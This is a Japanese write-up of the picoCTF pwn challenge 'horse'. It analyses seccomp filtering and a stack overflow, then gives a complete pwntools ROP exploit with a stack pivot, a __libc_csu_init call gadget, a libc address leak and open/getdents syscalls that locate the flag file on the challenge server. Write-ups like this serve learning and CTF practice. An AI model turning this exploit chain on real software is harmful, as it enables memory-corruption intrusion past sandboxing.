picoCTFのpwnの450points問題です。個人的に色々と学ぶことが多かったので、writeupを書いてみようと思います。問題の概要は以下の通りです。
Here at Moar Horse Industries, we believe, especially during these troubling times, that everyone should be able to make a horse say whatever they want. We were tired of people getting shells everywhere, so now it should be impossible! Can you still find a way to rope yourself out of this one? Flag is in the current directory. seccomp-tools might be helpful. nc mars.picoctf.net 31809
問題の概要は上の通り。その他に、horseというバイナリファイルとDockerfileが配布されている。Dockerfileを少なからず利用するのだろうな、、。(Dockerfileを配布する問題に遭遇したことがなかったのとDockerをあまり触ったことがなかったので、結構放置してた。)
問題文を読むと、どうやらseccomp-toolsというものを使うらしい。seccompとは、BPF(Berkeley Packet Filter)を利用してプロセスの発行するシステムコールを制限する仕組みのこと。BPFとは、Linuxカーネル内で実行される仮想マシンで、このマシンが理解できる命令を用いてパケットやシステムコールなどのフィルタリングができるようになっている。(BPFよくわからん、なので間違っていたらすみません。)
上のようなことを念頭に置きつつ、実行されるバイナリを解析する。fileコマンドの結果は、
$ file horse
horse: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=306f63e08aa32a80b2944b7ad735bd8268a84b2c, not stripped
だった。(not stripped助かる、、)手元で実行してみると、なんかしらの入力を受け取り、受け取ったものと馬のアスキーアートを出力して終わり、という簡素なもの。checksecをしてみると、
$ checksec horse
[*] './horse'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
実際にGhidraで解析してみると、
undefined8 main(void)
{
undefined local_28 [32];
int n = 0;
setup();
read(0,local_28,0x80);
horse(local_28);
return 0;
}
という構造になっていて、どうやらsetup()でseccompの設定をしているらしい。その後のreadでスタックオーバーフローをする問題っぽい。seccompのソースコードからBPFの命令を読み取るのもいいが、せっかくなのでseccomp-toolsを使ってみる。
$ seccomp-tools dump ./horse
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x13 0xc000003e if (A != ARCH_X86_64) goto 0021
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x10 0xffffffff if (A != 0xffffffff) goto 0021
0005: 0x15 0x0e 0x00 0x00000002 if (A == open) goto 0020
0006: 0x15 0x0d 0x00 0x00000009 if (A == mmap) goto 0020
0007: 0x15 0x0c 0x00 0x0000003c if (A == exit) goto 0020
0008: 0x15 0x0b 0x00 0x000000d9 if (A == getdents64) goto 0020
0009: 0x15 0x0a 0x00 0x000000e7 if (A == exit_group) goto 0020
0010: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0015
0011: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0012: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0021
0013: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0014: 0x15 0x05 0x06 0x00000000 if (A == 0x0) goto 0020 else goto 0021
0015: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0021
0016: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0017: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0021
0018: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0019: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0021
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0021: 0x06 0x00 0x00 0x00000000 return KILL
この出力から分かるのは、
- x86_64アーキテクチャであること(2命令目)。つまり、int 0x80による回避はだめ。
- x32 ABIは使用できないこと(4命令目)。
- 使用できるシステムコールは、open, mmap, exit, getdents64, exit_group, sdtinからのread, stdoutへのwriteのみであること。
である。特にexecveができないので、シェルを奪うことはできなさそう。seccompで許可されているシステムコールもふまえると、この問題はflagの書いてあるファイルからopenやmmapを利用して直接読み出してね、というものらしい。配布されたDockerfileをみてみると、
FROM redpwn/jail:sha-a795cdd
COPY --from=ubuntu@sha256:703218c0465075f4425e58fac086e09e1de5c340b12976ab9eb8ad26615c3715 / /srv
COPY bin/horse /srv/app/run
COPY bin/flag.txt /srv/app/flag.txt
RUN mv /srv/app/flag.txt /srv/app/flag-`cat /proc/sys/kernel/random/uuid`.txt
flag.txtというファイルを/srv/app/flag.txtに置き、イメージをビルドする時にflag-[ランダムな値].txtという名前に変更していることが分かる。フラグの入っているファイルの名前も特定する必要があるということだ(だからgetdentsシステムコールが許可されていたのか、、)。
ここまで分かったのでexploitを書いていく。まずは、スタックオーバーフローでROP-Gadgetを組んでいくが、readが0x80しか読み込めないのでそんなに長いGadgetは組めない。よって、スタックをより広いところへ移動させることにする。0x602000~0x603000のメモリが書き込み可能なので、そこに新しくROP-Gadgetを書き込み、rspを0x602000にすることでこれを完了する。ROP-Gadgetをrp++で探してみると、horseバイナリから得られるgadgetで使えそうなものは、こんな感じ。
0x00400c03: pop rdi ; ret ; (1 found)
0x00400c01: pop rsi ; pop r15 ; ret ; (1 found)
0x00400bfd: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found)
残念ながらrdxにうまく値を入れてあげる方法が見つからなかったので、元々入っている値が十分に大きいことを信じてread(0, 0x602000, rdx)を実行する。その後、rspの値を0x602000に変化させてスタックを切り替える。スタックの構造で表すと、
|-----------------|
| 0x00400c03 |
|-----------------|
| 0 | <-- rdi
|-----------------|
| 0x00400c01 |
|-----------------|
| 0x602000 | <-- rsi
|-----------------|
| | (<-- r15)
|-----------------|
| 0x00400bfd |
|-----------------|
| 0x602000 | <-- rsp
|-----------------|
こうするとmain終了後にreadが呼ばれ、0x602000へ好きなデータを書き込むことができる。ここにROP-Gadgetを仕込むことでROPを継続することができる。幸いにも、gdbで見てみるとrdxには大きな値が入っていたので、入力データの大きさには困らなそう。次のペイロードを作る上で注意した方がいいのは、スタックを移動した直後はpop r13から処理が始めるということ。
次のROPは、、、とガジェットを探しているとsyscallガジェットが無いではないか!というわけで、libcからsyscallガジェットを取ってくる必要がでてきた。最初、GOTからreadやwriteなどのアドレスをリークしlibcを特定しようと思ったが、libc databaseに検索をかけても見つからなかったので、Dockerfileをビルドして中から取り出すことにした。ビルドしたイメージの実行時には、–privilegedオプションが必要だったが、詳しいことはよくわからない(今度Dockerについてまとめる必要があるな)。そうやって取り出したlibcは、以下のようだった。
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.1) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
まずは、flagファイル名の特定を目指す。スタックの入れ替えによって広大なスタック領域を得ることができたので、__libc_csu_initを用いて第3引数までを指定した関数コールができるようになった。具体的には、
0x0000000000400be0 <+64>: mov rdx,r15
0x0000000000400be3 <+67>: mov rsi,r14
0x0000000000400be6 <+70>: mov edi,r13d
0x0000000000400be9 <+73>: call QWORD PTR [r12+rbx*8]
0x0000000000400bed <+77>: add rbx,0x1
0x0000000000400bf1 <+81>: cmp rbp,rbx
0x0000000000400bf4 <+84>: jne 0x400be0 <__libc_csu_init+64>
0x0000000000400bf6 <+86>: add rsp,0x8
0x0000000000400bfa <+90>: pop rbx
0x0000000000400bfb <+91>: pop rbp
0x0000000000400bfc <+92>: pop r12
0x0000000000400bfe <+94>: pop r13
0x0000000000400c00 <+96>: pop r14
0x0000000000400c02 <+98>: pop r15
0x0000000000400c04 <+100>: ret
の<+90>からrbx, rbp, r12, r13, r14, r15に値を入れ、その後<+64>に行くことで(第一引数が32bitになってしまうが)任意アドレスを好きな3つの引数で呼び出すことができる。callした関数からreturnしてきても、rbp=1, rbx=0のように設定しておけば(これらのレジスタは関数コールの前後で値が保存される)そのまま一番下まで実行されret命令に到達する。
このテクニックを利用することで、write(1, [readのGOTテーブル], 8)のような関数を実行できる。ファイル名をリークしたいので、以下のようにガジェットを組んだ。
- write(1, [readのGOTテーブル], 8)をしてlibcのベースアドレスを特定する。
- read(0, 0x602f00, 3)を呼び出し、後にopenシステムコールで使用する”./\x00″という文字列を格納しておく。
- もう一度スタックの入れ替えを行うために、read(0, 0x602000, 0x1000)を実行する。
次のペイロードでは、実際にファイル名を特定しに行くので、以下のようにガジェットを組んだ。libcのベースが特定できたのでlibc内のガジェットを利用できる。pop raxなどもあったので、レジスタの指定は楽になった。問題なのは、syscallガジェットを普通に使うとその後の命令が実行できなくなるので、syscall; ret; というガジェットを選ぶ必要があるということ。
0x00066229: syscall ; ret ; (17 found)
これを踏まえて、ファイルを特定するために以下のようなガジェットを組んだ。
- open(“./”, O_RDONLY[=0])すなわち、open(0x602f00, 0)を実行する。
- getdents(3, 0x602800, 0x400)を実行する。openしたカレントディレクトリに対応するファイルディスクリプタは3であるので、dirent構造体の配列を書き込むメモリを0x602800にでもした。0x400は書き込むサイズ。
- write(1, 0x602800, 0x400)を実行する。直前のgetdentsシステムコールで書き込まれたバッファ内のデータを標準出力に書き出す。
実際にこれをすることで、大量な出力の中にファイル名「flag-b1a750d7-91bf-43ab-8c81-4b504644b434.txt」が見つかった。ここまでで一旦この記事は終了。
from pwn import *
import struct
host, port = "mars.picoctf.net", 31809
# conn = process("./horse_patched")
conn = remote(host, port)
write_plt = 0x400740
read_plt = 0x400790
rop_ret = 0x4005a8
rop_rdi = 0x400c03
rop_rsi_r15 = 0x400c01
rop_rsp_r13_r14_r15 = 0x400bfd
got_read = 0x601fd8
got_write = 0x601fb0
new_stack_buf = 0x602000
"""
①スタックの位置を変更し、長めのpayloadが送れるようにする
"""
payload = b"A" * 40
# read(0, payload_buf, rdx)
payload += struct.pack("<QQ", rop_rdi, 0)
payload += struct.pack("<QQQ", rop_rsi_r15, new_stack_buf, 0)
payload += struct.pack("<Q", read_plt)
# rspの移動
payload += struct.pack("<QQ", rop_rsp_r13_r14_r15, new_stack_buf)
conn.sendline(payload)
"""
②libcのベースアドレスのリーク
"""
def create_function_call_gadget(func, edi, rsi, rdx):
# __libc_csu_initのROP片を利用した関数コール
# funcは関数自体のアドレスではなく関数のアドレスが書かれているアドレスを指定する必要がある
# つまり、gotテーブルのアドレスなどを指定するように!
__libc_csu_init_A = 0x400be0
__libc_csu_init_B = 0x400bfa
rp = struct.pack("<Q", __libc_csu_init_B)
rp += struct.pack("<QQQ", 0, 1, func)
rp += struct.pack("<QQQ", edi, rsi, rdx)
rp += struct.pack("<QQ", __libc_csu_init_A, 0xdeadbeef)
rp += struct.pack("<QQQQQQ", 0, 0, 0, 0, 0, 0)
return rp
# pop r13; pop r14; pop r15; ret;の処理から始まるので先頭3つを0にしておく
payload = b"A" * 24
# write(1, got_read, 8)
payload += create_function_call_gadget(got_write, 1, got_read, 8)
# read(0, 0x602f00, 2)
payload += create_function_call_gadget(got_read, 0, 0x602f00, 3)
# 再度payloadを送れるようにする
payload += create_function_call_gadget(got_read, 0, 0x602000, 0x800)
# rspの移動
payload += struct.pack("<QQ", rop_rsp_r13_r14_r15, new_stack_buf)
conn.send(payload)
for u in conn.recvlines(9):
# horseの出力を受け取る
# 一応出力しておく
print(u.decode())
# 上の攻撃でreadのアドレスがリークする。
libc_read = struct.unpack("<Q", conn.recv(8)[:8])[0]
libc_base = libc_read - 0x111130
print("libc_base:", hex(libc_base))
# 0x602f00アドレスに.\x00を書き込む
conn.send(b".\x00")
"""
③openシステムコールとgetdentsシステムコールを駆使してファイル名を特定する
"""
rop_rsi = libc_base + 0x27529
rop_rdx_r12 = libc_base + 0x11c371
rop_rax = libc_base + 0x4a54f
rop_syscall_ret = libc_base + 0x66229 # syscall -> retのROPGadgetのアドレス
dirname_buf = 0x602f00 # ディレクトリの名前がおいてあるアドレス
dirent_buf = 0x602800 # dirent構造体をマップしてもらう先のバッファのアドレス
# pop r13; pop r14; pop r15; ret;の処理から始まるので0で埋める
payload = b"A" * 24
# open(dirname_buf, O_RDONLY[=0])
payload += struct.pack("<QQ", rop_rdi, dirname_buf)
payload += struct.pack("<QQ", rop_rsi, 0)
payload += struct.pack("<QQ", rop_rax, 2) # open syscall
payload += struct.pack("<Q", rop_syscall_ret)
# getdents(3, dirent_buf, 0x400)
payload += struct.pack("<QQ", rop_rdi, 3)
payload += struct.pack("<QQ", rop_rsi, dirent_buf)
payload += struct.pack("<QQQ", rop_rdx_r12, 0x400, 0)
payload += struct.pack("<QQ", rop_rax, 217) # syscall number getdents
payload += struct.pack("<Q", rop_syscall_ret)
# write(1, dirent_buf, 0x100)
payload += struct.pack("<QQ", rop_rdi, 1)
payload += struct.pack("<QQ", rop_rsi, dirent_buf)
payload += struct.pack("<QQQ", rop_rdx_r12, 0x100, 0)
payload += struct.pack("<Q", write_plt)
conn.send(payload)
print(conn.recv(4096))
コメント